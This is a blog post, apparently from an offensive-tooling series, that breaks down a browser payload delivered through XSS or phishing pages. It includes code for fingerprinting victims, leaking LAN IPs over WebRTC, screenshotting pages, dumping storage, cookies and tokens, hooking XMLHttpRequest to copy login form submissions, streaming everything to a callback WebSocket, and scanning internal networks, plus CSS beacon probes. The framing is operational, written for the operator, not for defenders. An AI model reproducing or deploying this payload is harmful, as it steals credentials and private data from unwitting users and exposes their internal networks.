Third post in the Offensive Callback series. This is the deep dive into the client-side JavaScript payload — what I call merch.js internally, served as dl.full.min.js by the XSS dealer. It’s the piece that runs in a victim’s browser and does all the actual collection work.

The file is about 10,000 lines minified and bundles several libraries: a hashing library (MD5/SHA1/SHA256), html2canvas for screenshots, and FingerprintJS v5. Here’s what it does, in order of execution.


How it lands in a browser

The dealer serves it as a .js file. The victim’s browser loads it via a <script> tag — either injected through XSS, embedded in a phishing page, or pulled in through the proxy dealer. From the browser’s perspective it’s just another script asset load. Once it runs, it has full access to the current page’s DOM, storage, and JavaScript context.

The script is designed to be non-blocking and silent. No visible UI changes, no console output, no errors that would alert the user.


Step 1 — Fingerprint generation (Fu and Fb)

The first thing the payload does is compute two hashes that become the device’s primary identifiers.

Fu (Fingerprint Unique) is a SHA-256 hash computed from a combination of:

  • Canvas rendering: a hidden <canvas> element draws specific text and shapes. The exact pixel output varies across GPU/driver/OS combinations, producing a rendering-stable hash
  • Installed fonts: the payload probes for font availability by measuring text width with a reference font vs. a test font. Each available font shifts the hash
  • WebGL renderer string and vendor
  • Screen resolution and color depth
  • Platform string from navigator.platform

Fu is designed to be stable across sessions — the same device produces the same Fu even after clearing cookies, changing IP, or opening a new browser tab. That’s the whole point: it’s a persistent identifier that survives cookie deletion.

Fb (Fingerprint Browser) is the raw canvas rendering hash, without the font and WebGL components. More sensitive to browser updates (a Chromium rendering engine update changes the canvas output) but more precise for identifying GPU/driver combinations.

Both hashes are computed client-side and exfiltrated immediately on first payload execution.


Step 2 — Device data collection (Jd)

The payload collects a Jd (JSON of Device) object containing everything the browser will expose:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
{
deviceData: {
platform: navigator.platform, // "Win32", "MacIntel", "Linux x86_64"
hardwareConcurrency: navigator.hardwareConcurrency, // CPU cores
deviceMemory: navigator.deviceMemory, // RAM in GB (rounded)
maxTouchPoints: navigator.maxTouchPoints, // Touch screen detection
languages: navigator.languages,
timezone: Intl.DateTimeFormat().resolvedOptions().timeZone,
screen: {
width: screen.width,
height: screen.height
},
devicePixelRatio: window.devicePixelRatio,
vendor: navigator.vendor
},
gpuData: {
renderer: gl.getParameter(debugInfo.UNMASKED_RENDERER_WEBGL), // GPU model string
vendor: gl.getParameter(debugInfo.UNMASKED_VENDOR_WEBGL),
colorDepth: screen.colorDepth
},
browserData: {
userAgent: navigator.userAgent,
cookieEnabled: navigator.cookieEnabled,
adBlockEnabled: /* timing-based ad blocker detection */,
batteryData: {
level: battery.level, // 0.87 = 87%
charging: battery.charging
},
networkInfo: {
effectiveType: connection.effectiveType, // "4g", "3g", etc.
downlink: connection.downlink
},
memoryInfo: {
usedJSHeapSize: performance.memory.usedJSHeapSize
},
plugins: Array.from(navigator.plugins).map(p => p.name),
rtcdata: null // filled by WebRTC IP leak probe
}
}

The Jd is base64-encoded before transmission. On the server side it’s decoded and stored in the database, displayed in the /callback dashboard view per fingerprint.


Step 3 — WebRTC IP leak probe

Before sending anything, the payload attempts to extract the victim’s LAN IP via WebRTC:

1
2
3
4
5
6
7
8
9
const pc = new RTCPeerConnection({ iceServers: [] });
pc.createDataChannel('');
pc.createOffer().then(offer => pc.setLocalDescription(offer));
pc.onicecandidate = (event) => {
if (event.candidate) {
const match = event.candidate.candidate.match(/(\d+\.\d+\.\d+\.\d+)/);
if (match) rtcLocalIP = match[1]; // 192.168.x.x or 10.x.x.x
}
};

If the browser leaks local IPs through ICE candidates (most do unless WebRTC is disabled), the rtcdata field in Jd gets populated with the internal network address. This reveals NAT’d network topology even when the source IP is a VPN or a shared NAT.


Step 4 — Page screenshot

The payload uses html2canvas (bundled in the minified file) to take a screenshot of the current page and encode it as base64:

1
2
3
4
html2canvas(document.body).then(canvas => {
const screenshot = canvas.toDataURL('image/jpeg', 0.7);
// exfiltrate via POST
});

The screenshot is sent to the server as a POST to the dealer endpoint, stored under Sources/screenshotsB64/. From the dashboard you can view screenshots per fingerprint, including the exact page the payload fired on. This is extremely useful for understanding context — was it a login page? A sensitive internal dashboard? A payment form?


Step 5 — Storage and page context dump

Once the screenshot is queued, the payload sweeps the current page context:

localStorage and sessionStorage:

1
2
const localData   = { ...localStorage };
const sessionData = { ...sessionStorage };

Cookies (document.cookie — only non-HttpOnly cookies are accessible):

1
const cookies = document.cookie;

API keys and tokens visible in page source:
The payload scans the DOM, <script> tags, and JavaScript variables in window scope for patterns matching:

  • JWT tokens (eyJ...)
  • API key patterns (common variable names: apiKey, api_key, token, access_token, bearer)
  • Environment variable leaks in embedded JS bundles

Form interception:
The payload hooks into XMLHttpRequest.prototype.send and fetch to intercept POST submissions:

1
2
3
4
5
const originalSend = XMLHttpRequest.prototype.send;
XMLHttpRequest.prototype.send = function(body) {
if (body) exfiltrateFormData(body);
return originalSend.apply(this, arguments);
};

This catches login form submissions, API calls with credentials, and any other POST body before it’s sent to the legitimate server. The victim completes the form normally — they don’t see any error — but the payload has already shipped a copy to the callback server.


Step 6 — WebSocket connection

The payload opens a persistent WebSocket back to the server:

1
2
3
4
const ws = new WebSocket('wss://callback.example.com');
ws.onopen = () => {
ws.send(JSON.stringify({ type: 'init', fu: fingerprint, jd: deviceData }));
};

The connection stays open as long as the page is open. This enables:

  • Continuous data streaming (storage updates, new form submissions)
  • LAN scan results as they come in
  • Server-to-browser commands (future use)

The /callback dashboard view shows active WebSocket sessions in real time, including the Fu hash, source IP, and last activity time.


Step 7 — LAN network scanner

The most aggressive capability. The payload uses a combination of WebRTC, fetch timing, and image probing to map the victim’s internal network:

  • RTCPeerConnection probes enumerate reachable RFC-1918 subnets
  • Timing-based fetch probes (with a very short timeout) detect whether internal hosts respond
  • Image probes (new Image().src = 'http://192.168.x.x/') detect web UIs on internal hosts

Results are streamed back over WebSocket as they arrive. The dashboard shows discovered internal hosts, their response times, and any open HTTP ports detected.

This runs asynchronously and doesn’t block the rest of the payload. In a corporate network it can reveal internal admin panels, NAS devices, printers, and infrastructure.


Step 8 — Geolocation enrichment (client-side)

The payload queries ip-api.com client-side from the browser to get the public IP’s geolocation. This is separate from the server-side GeoIP lookup — it gives a cross-reference:

  • Server sees: the IP the browser connected from (could be a proxy/CDN edge)
  • Browser query sees: the IP the browser resolves from (may differ if the server is behind a load balancer)

Both results are stored and shown in the /callback dashboard’s geo panel.


CSS fallback — no JavaScript required

If the JS payload can’t execute (CSP blocks it, NoScript, corporate policy), the CSS dealer fires instead. It uses purely CSS techniques to probe the browser environment:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
/* Font probe — loads different images based on which fonts render */
@font-face {
font-family: 'probe-win';
src: url('/beacon?probe=segoe') format('truetype');
unicode-range: U+0041;
}

/* Media probes — different image requests per screen/feature match */
@media (prefers-color-scheme: dark) {
body::after { background-image: url('/beacon?m=dark'); }
}

@media (pointer: coarse) {
body::after { background-image: url('/beacon?m=touch'); }
}

Each CSS rule that fires loads a distinct URL, which hits the callback server and gets logged. Result: OS/browser/screen profile without a single line of JavaScript executing.


Anti-fingerprinting detection

The payload includes logic to detect browsers with active anti-fingerprinting:

  • Canvas noise: the payload renders the same canvas operation multiple times and computes variance. High variance = noise injection (Brave, Firefox with privacy.resistFingerprinting)
  • WebGL noise: same approach with WebGL
  • Inconsistent Jd: if multiple beacons from the same Fu hash show different hardwareConcurrency, deviceMemory, or GPU strings, the dashboard flags the card as Inconsistent

This doesn’t defeat the anti-fingerprinting — it just tells you when a target is using one. Useful for operational planning.


Next post: the server-side OSINT and IP analysis pipeline — GeoIP, WHOIS, Shodan, CriminalIP, VirusTotal, and the IP blacklist system.